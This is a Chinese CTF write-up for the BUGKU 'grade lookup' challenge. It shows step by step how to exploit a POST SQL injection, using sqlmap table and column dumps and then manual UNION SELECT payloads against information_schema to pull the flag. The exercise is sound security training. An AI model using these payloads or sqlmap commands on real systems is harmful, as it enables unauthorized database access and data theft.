BUGKU-成绩查询

打开环境

BUGKU-成绩查询_第1张图片

 随便输入

BUGKU-成绩查询_第2张图片

 发现URL 不传参 怀疑是POST型

于是我们查看源代码

BUGKU-成绩查询_第3张图片

发现是POST型

开始注入

一.sqlmap

打开终端

因为是POST型 所以有两种方式

1.通过BP抓包把HTTP数据包下载下来

语法:sqlmap -r "txt地址"

kali中要下载数据包 我们在物理windows系统上的BP进行抓取

BUGKU-成绩查询_第4张图片

 打包成文件然后把后缀改成.txt 通过共享文件传输到kali中,或者直接从桌面拖到kali桌面中

BUGKU-成绩查询_第5张图片

打开sqlmap

运行指令sqlmap -r "bugku.txt"

BUGKU-成绩查询_第6张图片

于是我们开始爆破库

sqlmap -r "bugku.txt" --tables

BUGKU-成绩查询_第7张图片

 把库名和表名爆出来了

然后我们发现fl4g

开始查找flag

sqlmap -r "bugku.txt" -D skctf -T fl4g --columns

BUGKU-成绩查询_第8张图片

开始爆密码

sqlmap -r "bugku.txt" -D skctf -T fl4g -C skctf_flag --dump

得出flag

BUGKU-成绩查询_第9张图片

2.运用sqlmap对应POST指令

语法:sqlmap -u "URL" --data="id=1"

该指令是用于URL的

打开sqlmap

运行指令:

sqlmap -u "http://114.67.175.224:17647/index.php/index.php" --data="id=1"

BUGKU-成绩查询_第10张图片

开始爆库

sqlmap -u "http://114.67.175.224:17647/index.php/index.php" --data="id=1" --tables

BUGKU-成绩查询_第11张图片

 得到数据库和表 于是和上面一样开始爆破即可

二.手工注入

打开环境

BUGKU-成绩查询_第12张图片

随便输入一个查询

有回显BUGKU-成绩查询_第13张图片

 于是我们开始查找注入点和有没有过滤

当我们输入1‘ , 1时可以返回正常值 说明有可能是 id=’ ‘类型

于是我们可以开始使用order by n猜字段

输入 1’ order by 1尝试

BUGKU-成绩查询_第14张图片

 有回显 于是依次尝试但是我们发现 一直尝试了很多次都有回显

我们就怀疑是不是有过滤 有可能是id=‘’  ‘于是我们尝试注入 order by n #

发现在 1’ order by 5#时没有回显 所以有四个字符段

开始查看四个哪个有回显

先用-1尝试数据库有没有-1的数据

发现没有 于是用

-1‘ union select 1,2,3,4 #

来查看回显

BUGKU-成绩查询_第15张图片

 发现四个都有回显 所以我们可以随便在其中一个位置进行查看

开始爆库

-1' union select database(),2,3,4 # (4 # 中间有空格)

BUGKU-成绩查询_第16张图片

 回显出数据库skctf

开始爆表

-1' union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema='skctf'#

BUGKU-成绩查询_第17张图片发现fl4g

开始暴字段

-1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#

BUGKU-成绩查询_第18张图片

 得到字段名 所以可以得到flag了

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

BUGKU-成绩查询_第19张图片

得到flag

结束

你可能感兴趣的:(安全)